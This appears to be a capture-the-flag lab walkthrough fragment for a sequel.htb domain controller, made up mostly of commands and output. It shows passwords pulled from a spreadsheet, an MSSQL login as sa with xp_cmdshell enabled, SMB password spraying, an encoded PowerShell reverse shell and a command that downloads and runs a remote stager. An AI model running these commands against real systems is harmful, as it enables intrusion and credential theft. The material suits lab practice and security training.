Foothold

❯ unzip 10.129.232.128_Accounting\ Department_accounts.xlsx -d accounts
Archive:  10.129.232.128_Accounting Department_accounts.xlsx
file #1:  bad zipfile offset (local header sig):  0
  inflating: accounts/xl/workbook.xml
  inflating: accounts/xl/theme/theme1.xml
  inflating: accounts/xl/styles.xml
  inflating: accounts/xl/worksheets/_rels/sheet1.xml.rels
  inflating: accounts/xl/worksheets/sheet1.xml
  inflating: accounts/xl/sharedStrings.xml
  inflating: accounts/_rels/.rels
  inflating: accounts/docProps/core.xml
  inflating: accounts/docProps/app.xml
  inflating: accounts/docProps/custom.xml
  inflating: accounts/[Content_Types].xml

Md9Wlq1E5bZnVDVo
86LxLBMgEWaKUnBG
0fwz7Q4mSpurIt99
KxEPkKe6R8su
MSSQLP@ssw0rd!

sa:MSSQLP@ssw0rd!

❯ impacket-mssqlclient -p 1433 sa:'MSSQLP@ssw0rd!'@10.129.232.128
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (sa  dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)> xp_cmdshell whoami
output
--------------
sequel\sql_svc
NULL

netexec mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!'  --local-auth -X 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAyADEAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQ

❯ netexec smb  10.129.232.128 -u ad_users.txt -p pass.txt --continue-on-success | grep +
SMB                      10.129.232.128  445    DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB                      10.129.232.128  445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su

❯ netexec mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -X "powershell -c 'iex (iwr http://10.10.14.121/stager.ps1 -useb)'"
MSSQL       10.129.232.128  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.129.232.128  1433   DC01             [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL       10.129.232.128  1433   DC01             [+] Executed command via mssqlexec